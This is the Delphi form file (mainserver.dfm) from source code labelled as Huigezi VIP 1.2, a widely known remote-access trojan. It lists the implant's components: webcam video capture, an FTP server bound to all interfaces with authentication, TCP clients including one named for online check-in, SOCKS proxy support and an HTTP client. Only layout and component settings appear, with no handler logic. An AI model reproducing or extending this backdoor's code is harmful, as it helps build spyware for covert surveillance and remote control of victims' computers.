mainserver.dfm

灰鸽子VIP1.2经典源代码

object H_GZVIP2004: TH_GZVIP2004
  Left = 197
  Top = 109
  BorderIcons = [biSystemMenu]
  BorderStyle = bsSingle
  ClientHeight = 72
  ClientWidth = 160
  Color = clBtnFace
  Font.Charset = ANSI_CHARSET
  Font.Color = clWindowText
  Font.Height = -12
  Font.Name = #23435#20307
  Font.Style = []
  OldCreateOrder = False
  Position = poScreenCenter
  OnKeyDown = FormKeyDown
  PixelsPerInch = 96
  TextHeight = 12
  object VideoCap1: TVideoCap
    Left = 0
    Top = 0
    Width = 17
    Height = 17
    color = clBlack
    DriverOpen = False
    DriverIndex = -1
    VideoOverlay = False
    VideoPreview = False
    PreviewScaleToWindow = False
    PreviewScaleProportional = False
    PreviewRate = 5
    MicroSecPerFrame = 333333
    FrameRate = 3
    VideoFileName = 'Video.avi'
    SingleImageFile = 'Capture.bmp'
    CapTimeLimit = 0
    CapIndexSize = 0
    CapToFile = False
    BufferFileSize = 0
    OnVideoStream = VideoCap1VideoStream
  end
  object Timer1: TTimer
    Enabled = False
    Interval = 2000
    OnTimer = Timer1Timer
    Left = 44
    Top = 4
  end
  object FtpServer1: TFtpServer
    Addr = '0.0.0.0'
    Port = 'ftp'
    Banner = '220 Welcome Ftp Server'
    UserData = 0
    MaxClients = 20
    OnAuthenticate = FtpServer1Authenticate
    Left = 72
    Top = 4
  end
  object PopupMenu1: TPopupMenu
    Alignment = paRight
    Left = 100
    Top = 16
    object N1: TMenuItem
      Caption = #36864#20986
      OnClick = N1Click
    end
  end
  object IdTCPClient1: TIdTCPClient
    MaxLineAction = maException
    ReadTimeout = 15000
    Port = 0
    Left = 72
    Top = 16
  end
  object IdSocksInfo1: TIdSocksInfo
    Left = 44
    Top = 16
  end
  object IdIOHandlerSocket1: TIdIOHandlerSocket
    SocksInfo = IdSocksInfo1
    Left = 16
    Top = 16
  end
  object IdTCPOnline: TIdTCPClient
    MaxLineAction = maException
    ReadTimeout = 15000
    Port = 80
    Left = 16
    Top = 40
  end
  object IdAntiFreeze1: TIdAntiFreeze
    Active = False
    OnlyWhenIdle = False
    Left = 44
    Top = 40
  end
  object IdTCPVfw: TIdTCPClient
    MaxLineAction = maException
    ReadTimeout = 15000
    Port = 0
    Left = 72
    Top = 40
  end
  object IdHTTP1: TIdHTTP
    MaxLineAction = maException
    ReadTimeout = 15000
    AllowCookies = True
    ProxyParams.BasicAuthentication = False
    ProxyParams.ProxyPort = 0
    Request.ContentLength = -1
    Request.ContentRangeEnd = 0
    Request.ContentRangeStart = 0
    Request.ContentType = 'text/html'
    Request.Accept = 'text/html, */*'
    Request.BasicAuthentication = False
    Request.UserAgent = 'Mozilla/3.0 (compatible; Indy Library)'
    HTTPOptions = [hoForceEncodeParams]
    Left = 100
    Top = 4
  end
end